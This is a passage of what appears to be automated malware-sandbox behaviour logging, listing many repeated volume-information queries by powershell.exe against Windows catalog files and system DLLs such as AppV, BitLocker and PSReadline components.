    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure.CimCmdlets\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.CimCmdlets.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure.CimCmdlets\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.CimCmdlets.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure.CimCmdlets\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.CimCmdlets.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
